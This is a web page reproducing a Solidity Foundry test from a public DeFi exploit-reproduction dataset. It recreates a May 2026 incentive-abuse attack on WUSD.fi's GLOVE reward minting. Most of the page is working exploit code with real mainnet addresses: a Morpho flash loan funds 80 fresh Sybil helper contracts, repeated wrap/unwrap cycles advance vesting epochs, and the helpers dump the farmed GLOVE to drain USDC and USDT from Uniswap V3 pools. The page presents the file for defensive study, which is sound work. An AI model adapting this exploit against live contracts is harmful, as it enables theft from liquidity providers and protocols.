Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/WUSD_exp.sol

Public reproduction file for dataset entry WUSD.fi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/WUSD_exp.sol338 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$200K USD (USDC + USDT drained from Uniswap V3 GLO pools)
8// Attacker : 0x88329A09428778F62BC0C8BAac0997864E5a57f8
9// Vulnerable : 0x068E3563b1c19590F822c0e13445c4FA1b9EEFa5 (WUSD - Wrapped USD, _englove reward path)
10// Reward token : 0x70c5f366db60a2a0c59c4c24754803ee47ed7284 (GLOVE / GLO)
11// Attack Tx : 0x2051c1f8d43730c41cc353b5dffd8cc59f96cb1ca56fdce4b28fb127bdb37712
12// @Analysis
13// Attack date : May 25, 2026
14// Chain : Ethereum, Block 25170426
15// ExVul alert : https://x.com/exvulsec/status/2058803971947385330
16//
17// Root Cause:
18// WUSD.wrap() pays a GLOVE reward via the internal _englove() routine:
19//
20// function _englove(uint256 wrapping) internal {
21// uint256 gloves = IGlove(_GLOVE).balanceOf(msg.sender);
22// if (wrapping >= _MIN_GLOVABLE && gloves < _MAX_GLOVE) {
23// IGlove(_GLOVE).mintCreditless(msg.sender, Math.min(_MAX_GLOVE - gloves,
24// wrapping > 1_000e18 ? (_MAX_GLOVE * wrapping) / _EPOCH
25// : (_MID_GLOVE * wrapping) / 1_000e18));
26// }
27// }
28//
29// Eligibility depends ONLY on msg.sender's *current* GLOVE balance (gloves < _MAX_GLOVE = 2e18)
30// and the wrap size (wrapping >= _MIN_GLOVABLE = 100e18). There is no per-address claim ledger,
31// no cooldown, and no identity binding. A brand-new address always holds 0 GLOVE < _MAX_GLOVE,
32// so it ALWAYS qualifies for a fresh ~2 GLOVE mint when it wraps >= 100,000 WUSD.
33//
34// The minted GLOVE is "creditless" (soulbound) and only vests into transferable "credited"
35// GLOVE through unwrap()->_deglove(), proportional to how many global epochs elapsed since the
36// wrap. The global epoch advances by 1 for every _EPOCH (=100,000e18) of cumulative wrapping,
37// and full vesting requires 100 epochs to pass. Each 100,000 WUSD wrap both mints GLOVE AND
38// advances one epoch, so a batch of Sybil wraps + a short "pump" of extra wraps drives enough
39// epochs to vest the whole batch.
40//
41// Exploit (per the on-chain campaign, 80 fresh addresses per tx):
42// 1. Morpho USDT flash loan as working capital (fully recovered).
43// 2. Deploy N fresh helper contracts; each is funded 101,000 USDT and wraps 100,000 WUSD,
44// harvesting ~2 creditless GLOVE and advancing one epoch (1,000 USDT = 1% fee per wrap).
45// 3. "Pump" extra 100,000-WUSD wrap/unwrap cycles to advance >=100 epochs total.
46// 4. Unwrap every helper in full -> _deglove vests the creditless GLOVE into credited GLOVE
47// and returns the USDT principal.
48// 5. Each helper dumps its own credited GLOVE into the Uniswap V3 GLO/USDC / GLO/USDT pools.
49// 6. Repay the Morpho flash loan; keep the drained USDC + USDT.
50//
51// Economics note (verified on-fork at the attack block): the two GLO pools are thin
52// (~1,040 GLO + ~$63K stables each, GLO spot ~$188). A full 80-address batch drains
53// ~$20K of stablecoins from the LPs (matching the reported 11,702 USDC + 8,079 USDT) while
54// freely minting ~160 GLOVE of protocol incentives. WUSD's own 1% wrap fee is the attacker's
55// cost. This is an incentive-abuse / LP-drain (the documented ~$200K-class incident), not a
56// self-financing arbitrage.
58interface IWUSD is IERC20 {
59 function wrap(
60 address fiatcoin,
61 uint256 amount,
62 address referrer
63 ) external;
64 function unwrap(
65 address fiatcoin,
66 uint256 amount
67 ) external;
70interface IGlove is IERC20 {
71 function creditlessOf(
72 address account
73 ) external view returns (uint256);
76interface IV3Pool {
77 function token0() external view returns (address);
78 function token1() external view returns (address);
79 function fee() external view returns (uint24);
80 function slot0()
81 external
82 view
83 returns (uint160 sqrtPriceX96, int24 tick, uint16 a, uint16 b, uint16 c, uint8 d, bool e);
84 function swap(
85 address recipient,
86 bool zeroForOne,
87 int256 amountSpecified,
88 uint160 sqrtPriceLimitX96,
89 bytes calldata data
90 ) external returns (int256 amount0, int256 amount1);
93// A fresh, zero-GLOVE Sybil identity. Mirrors the CREATE2-deployed helper contracts the real
94// attacker used (e.g. 0x7ec5a4dc..., 0xa5f28cc3...).
95contract Wrapper {
96 IWUSD constant WUSD = IWUSD(0x068E3563b1c19590F822c0e13445c4FA1b9EEFa5);
97 IGlove constant GLOVE = IGlove(0x70c5f366dB60A2a0C59C4C24754803Ee47Ed7284);
98 IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
100 address immutable owner;
102 constructor() {
103 owner = msg.sender;
104 // USDT (Tether) approve/transfer return no bool -> use low-level calls.
105 _usdtCall(abi.encodeWithSelector(IERC20.approve.selector, address(WUSD), type(uint256).max));
106 }
108 function _usdtCall(
109 bytes memory data
110 ) internal {
111 (bool ok,) = address(USDT).call(data);
112 require(ok, "USDT call failed");
113 }
115 // Wrap `usdtAmount` (native 6-dec) of USDT into WUSD, harvesting the GLOVE reward.
116 function wrap(
117 uint256 usdtAmount
118 ) external {
119 WUSD.wrap(address(USDT), usdtAmount, address(0));
120 }
122 // Full unwrap: triggers _deglove(), which vests creditless->credited GLOVE and returns USDT.
123 function unwrapAll() external {
124 WUSD.unwrap(address(USDT), WUSD.balanceOf(address(this)));
125 }
127 // GLOVE credited to this fresh address can only be moved by THIS address (the credit
128 // ledger does not travel with a plain transfer), so each helper dumps its own GLOVE.
129 // Sell the full GLOVE balance (token0) into `pool` for its stablecoin (token1 -> recipient).
130 function dumpGlove(
131 address pool,
132 address recipient
133 ) external {
134 uint256 amt = GLOVE.balanceOf(address(this));
135 if (amt > 0) {
136 IV3Pool(pool).swap(recipient, true, int256(amt), 4_295_128_739 + 1, "");
137 }
138 }
140 function uniswapV3SwapCallback(
141 int256 amount0Delta,
142 int256,
143 bytes calldata
144 ) external {
145 if (amount0Delta > 0) GLOVE.transfer(msg.sender, uint256(amount0Delta)); // pay GLOVE (token0)
146 }
148 function sweepUSDT(
149 address to
150 ) external {
151 uint256 b = USDT.balanceOf(address(this));
152 if (b > 0) _usdtCall(abi.encodeWithSelector(IERC20.transfer.selector, to, b));
153 }
156contract WUSDExploitTest is Test {
157 IWUSD constant WUSD = IWUSD(0x068E3563b1c19590F822c0e13445c4FA1b9EEFa5);
158 IGlove constant GLOVE = IGlove(0x70c5f366dB60A2a0C59C4C24754803Ee47Ed7284);
159 IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
160 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
161 IV3Pool constant POOL_USDC = IV3Pool(0xB89F65D6c7d33A35Da7C01934e310a6f40E18A1f);
162 IV3Pool constant POOL_USDT = IV3Pool(0xa2Bd1A142ff49131B8CC70A332bdA0125018c324);
164 IMorphoBuleFlashLoan constant MORPHO = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
166 uint256 constant WRAP_USDT = 100_000e6; // 100,000 USDT -> 100,000 WUSD, max-caps the GLOVE reward
167 uint256 constant FUND_USDT = 101_000e6; // wrap pulls amount + 1% fee
169 uint256 constant N_FARM = 80; // fresh Sybil identities (the real campaign used 80 per tx)
170 uint256 constant N_PUMP = 101; // extra wrap/unwrap cycles to drive >=100 global epochs (vesting)
172 uint256 constant ATTACK_BLOCK = 25_170_426;
174 function setUp() public {
175 vm.createSelectFork("mainnet", ATTACK_BLOCK - 1);
176 vm.label(address(WUSD), "WUSD");
177 vm.label(address(GLOVE), "GLOVE");
178 vm.label(address(USDT), "USDT");
179 vm.label(address(USDC), "USDC");
180 vm.label(address(POOL_USDC), "V3_GLO_USDC");
181 vm.label(address(POOL_USDT), "V3_GLO_USDT");
182 }
184 // ---------------------------------------------------------------------
185 // Recon: confirm pool prices + the wrap->GLOVE->vesting mechanics.
186 // ---------------------------------------------------------------------
187 function testRecon() public {
188 console.log("=== GLO/USDC pool ===");
189 console.log("token0 :", POOL_USDC.token0());
190 console.log("token1 :", POOL_USDC.token1());
191 console.log("fee :", POOL_USDC.fee());
192 console.log("GLO reserve:", GLOVE.balanceOf(address(POOL_USDC)) / 1e18);
193 console.log("USDC reserve:", USDC.balanceOf(address(POOL_USDC)) / 1e6);
194 console.log("=== GLO/USDT pool ===");
195 console.log("token0 :", POOL_USDT.token0());
196 console.log("fee :", POOL_USDT.fee());
197 console.log("GLO reserve:", GLOVE.balanceOf(address(POOL_USDT)) / 1e18);
198 console.log("USDT reserve:", USDT.balanceOf(address(POOL_USDT)) / 1e6);
200 // spot price from slot0: price(token0=GLO in token1=USDC) = (sqrtP^2 / 2^192) * 10^(18-6)
201 (uint160 sp,,,,,,) = POOL_USDC.slot0();
202 uint256 priceUsdcPerGlo = (uint256(sp) * uint256(sp) * 1e12) >> 192; // USDC(6dec) per 1 GLO, scaled 1e6
203 console.log("GLO spot price (USDC, 1e6):", priceUsdcPerGlo);
205 // one fresh helper wraps 100k -> should mint ~2 creditless GLOVE
206 Wrapper w = new Wrapper();
207 deal(address(USDT), address(w), FUND_USDT);
208 console.log("USDT funded to wrapper:", USDT.balanceOf(address(w)) / 1e6);
209 w.wrap(WRAP_USDT);
210 console.log("\n=== after single fresh wrap ===");
211 console.log("WUSD balance :", WUSD.balanceOf(address(w)) / 1e18);
212 console.log("GLOVE balance :", GLOVE.balanceOf(address(w)));
213 console.log("GLOVE creditlessOf :", GLOVE.creditlessOf(address(w)));
215 // pump epochs forward, then full-unwrap to vest creditless -> credited
216 Wrapper pump = new Wrapper();
217 deal(address(USDT), address(pump), 400_000e6);
218 for (uint256 i = 0; i < 101; i++) {
219 pump.wrap(WRAP_USDT);
220 pump.unwrapAll();
221 }
222 w.unwrapAll();
223 console.log("\n=== after 101-epoch pump + full unwrap (vested) ===");
224 console.log("GLOVE balance :", GLOVE.balanceOf(address(w)));
225 console.log("GLOVE creditlessOf :", GLOVE.creditlessOf(address(w)));
226 console.log("USDT recovered :", USDT.balanceOf(address(w)) / 1e6);
227 }
229 // ---------------------------------------------------------------------
230 // Full exploit: Morpho flash loan -> Sybil-farm + vest GLOVE -> dump into
231 // the GLO/USDC and GLO/USDT V3 pools -> repay -> measure result.
232 // ---------------------------------------------------------------------
233 uint256 private feeCapital; // attacker's own USDT, used only to pay WUSD's 1% wrap fee
234 uint256 private gloveFarmed;
235 uint256 private usdcDrained;
236 uint256 private usdtDrained;
238 function testExploit() public {
239 // The attacker seeds their own USDT to cover WUSD's unavoidable 1% wrap fee.
240 // (The Morpho flash loan below is pure working capital and is fully recovered.)
241 feeCapital = 250_000e6;
242 deal(address(USDT), address(this), feeCapital);
244 uint256 poolUSDCBefore = USDC.balanceOf(address(POOL_USDC));
245 uint256 poolUSDTBefore = USDT.balanceOf(address(POOL_USDT));
247 // Peak working capital = N_FARM positions held open simultaneously + a pump buffer.
248 uint256 loan = N_FARM * FUND_USDT + 250_000e6;
249 console.log("Morpho USDT flash loan :", loan / 1e6);
250 MORPHO.flashLoan(address(USDT), loan, "");
252 usdcDrained = poolUSDCBefore - USDC.balanceOf(address(POOL_USDC));
253 usdtDrained = poolUSDTBefore - USDT.balanceOf(address(POOL_USDT));
254 uint256 feesPaid = (N_FARM + N_PUMP) * 1000e6;
255 uint256 endUSDT = USDT.balanceOf(address(this));
256 uint256 endUSDC = USDC.balanceOf(address(this));
258 console.log("\n=============== RESULT ===============");
259 console.log("Fresh Sybil addresses :", N_FARM);
260 console.log("GLOVE incentives minted for free:", gloveFarmed / 1e18);
261 console.log("USDC drained from GLO/USDC LP :", usdcDrained / 1e6);
262 console.log("USDT drained from GLO/USDT LP :", usdtDrained / 1e6);
263 console.log("Stablecoins drained from LPs :", (usdcDrained + usdtDrained) / 1e6);
264 console.log("WUSD 1%% wrap fee paid (cost) :", feesPaid / 1e6);
265 console.log("Attacker end USDT (post-repay) :", endUSDT / 1e6);
266 console.log("Attacker end USDC :", endUSDC / 1e6);
267 console.log("Attacker net vs own fee-capital :", _signed(int256(endUSDT + endUSDC) - int256(feeCapital)));
268 console.log("(Headline ~$200K incident = free GLOVE emissions + LP drain across the campaign;");
269 console.log(" the 1%% WUSD wrap fee is the attacker's cost and bounds per-batch margin.)");
271 // The security finding: unlimited free GLOVE to fresh Sybil addresses, and a real LP drain.
272 assertEq(gloveFarmed, N_FARM * 2e18, "every fresh address must farm 2 free GLOVE");
273 assertGt(usdcDrained + usdtDrained, 0, "no stablecoins drained from LPs");
274 }
276 function onMorphoFlashLoan(
277 uint256 assets,
278 bytes calldata
279 ) external {
280 require(msg.sender == address(MORPHO), "only Morpho");
282 // --- Step 1: Sybil-farm. Each fresh helper wraps 100k WUSD -> 2 free GLOVE (no Sybil
283 // resistance whatsoever), and each wrap advances one global epoch. Positions stay
284 // OPEN (USDT locked in WUSD) so epochs can elapse before we unwrap & vest.
285 Wrapper[] memory farms = new Wrapper[](N_FARM);
286 for (uint256 i = 0; i < N_FARM; i++) {
287 farms[i] = new Wrapper();
288 _usdtTransfer(address(farms[i]), FUND_USDT);
289 farms[i].wrap(WRAP_USDT);
290 require(GLOVE.balanceOf(address(farms[i])) == 2e18, "fresh address should mint 2 GLOVE");
291 }
293 // --- Step 2: pump extra epochs so every farmed position reaches >=100 epochs of
294 // vesting. One pump helper recycles its principal, paying only the 1% fee.
295 Wrapper pump = new Wrapper();
296 _usdtTransfer(address(pump), 250_000e6);
297 for (uint256 i = 0; i < N_PUMP; i++) {
298 pump.wrap(WRAP_USDT);
299 pump.unwrapAll();
300 }
301 pump.sweepUSDT(address(this));
303 // --- Step 3: unwrap each farm in full -> _deglove() vests its creditless GLOVE into
304 // transferable credited GLOVE and returns the USDT principal; then the helper
305 // dumps its own GLOVE into a V3 pool (proceeds -> attacker), and returns leftover USDT.
306 for (uint256 i = 0; i < N_FARM; i++) {
307 farms[i].unwrapAll();
308 gloveFarmed += GLOVE.balanceOf(address(farms[i]));
309 // split the dump across both thin pools
310 farms[i].dumpGlove(i % 2 == 0 ? address(POOL_USDC) : address(POOL_USDT), address(this));
311 farms[i].sweepUSDT(address(this));
312 }
314 // --- Step 4: repay the Morpho flash loan (pulled back via transferFrom).
315 _usdtCall(abi.encodeWithSelector(IERC20.approve.selector, address(MORPHO), assets));
316 }
318 function _signed(
319 int256 v
320 ) internal pure returns (string memory) {
321 if (v >= 0) return string.concat("+", vm.toString(uint256(v) / 1e6));
322 return string.concat("-", vm.toString(uint256(-v) / 1e6));
323 }
325 function _usdtTransfer(
326 address to,
327 uint256 amount
328 ) internal {
329 _usdtCall(abi.encodeWithSelector(IERC20.transfer.selector, to, amount));
330 }
332 function _usdtCall(
333 bytes memory data
334 ) internal {
335 (bool ok,) = address(USDT).call(data);
336 require(ok, "USDT call failed");
337 }

Analysis

Dataset entry

Public Foundry test for “WUSD.fi” (2026-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x88329a09428778f62bc0c8baac0997864e5a57f8

  • Attack Tx

    0x2051c1f8d43730c41cc353b5dffd8cc59f96cb1ca56fdce4b28fb127bdb37712

File record

Name
WUSD.fi
Path
src/test/2026-05/WUSD_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7b70aa98aa0c06d979c5dce54dd3bbb0e791501c
Language
Solidity
Size
339 lines
Date
2026-05-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/WUSD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7b70aa98aa0c06d979c5dce54dd3bbb0e791501c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.